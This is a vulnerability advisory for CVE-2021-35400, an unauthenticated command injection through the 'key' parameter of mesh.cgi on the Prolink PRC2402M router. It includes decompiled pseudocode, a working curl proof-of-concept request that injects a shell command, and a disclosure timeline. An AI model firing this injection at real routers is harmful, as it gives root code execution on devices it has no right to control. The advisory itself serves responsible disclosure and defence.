CVE: CVE-2021-35400

Tested Versions:

  • Prolink PRC2402M 20190909

Product URL(s):

Description of the vulnerability

This vulnerability is present as there are no checks on user input taken by mesh.cgi, which is passed to popen, allowing an attacker to execute arbitrary code in the context of the root user on affected installations of the Prolink PRC2402M router.

No authentication is required to exploit this vulnerability.

The router makes GET requests to interact with the cgi scripts. To access the vulnerable script, visit http://localhost/cgi-bin/mesh.cgi.

In mesh.cgi, the main function retrieves the query string of the HTTP request, and passes it to get_extender_page.

    querystring = getenv("QUERY_STRING");
    ...
    __s1 = (char *)web_get("page",querystring,0);
    iVar2 = strcmp(__s1,"extender");
    if (iVar2 == 0) {
        get_extender_page(querystring);
    }
    iVar2 = strcmp(__s1,"upgrade");
    if (iVar2 == 0) {
        get_upgrade_page(querystring);
    }

As seen in the simplified pseudocode of get_extender_page below, the user’s parameter key is passed to popen without any input validation, allowing an attacker to supply malicious input and gain arbitrary code execution.

void get_extender_page(char* querystring)
{
    ...
    lan_ipaddr = (char *)nvram_bufget(0,"lan_ipaddr");
    key = (char *)web_get("key",param_1,0);
    key = strdup(key);
    ENC = (char *)web_get("ENC",param_1,0);
    ENC = strdup(ENC);
    localIP = (char *)web_get("localIp",param_1,0);
    localIP = strdup(localIP);

    strcpy((char *)&ip_addr_salted,lan_ipaddr);
    lan_ipaddr = strcat((char *)&ip_addr_salted,key);
    sprintf(lan_ip_md5,"echo -n \'%s\' | md5sum",lan_ipaddr);
    lan_ip_md5_proc = popen(lan_ip_md5,"r");
    ...
}

Exploit

To exploit this vulnerability, perform a GET request to mesh.cgi with the following parameters:

  • page - extender
  • key - containing the target command to execute

For example,

curl 'http://localhost/cgi-bin/mesh.cgi?page=extender&key=%27%20%60$(echo%20gg%3E/tmp/gg)%60%20%23&ENC=a&localIp=127.0.0.1'

(Note that proper URL encoding should be applied on the querystring parameters for the server to handle the request.)

Timeline

  • 2021-06-10 Reported to Vendor, Prolink
  • 2021-06-10 Prolink acknowledged report
  • 2021-06-10 Prolink claimed to have patched it
  • 2021-06-11 Team member Daniel Lim sent in his bypass for their patch
  • 2021-06-11 Prolink acknowledged the new bypass
  • 2021-06-13 Prolink fixed it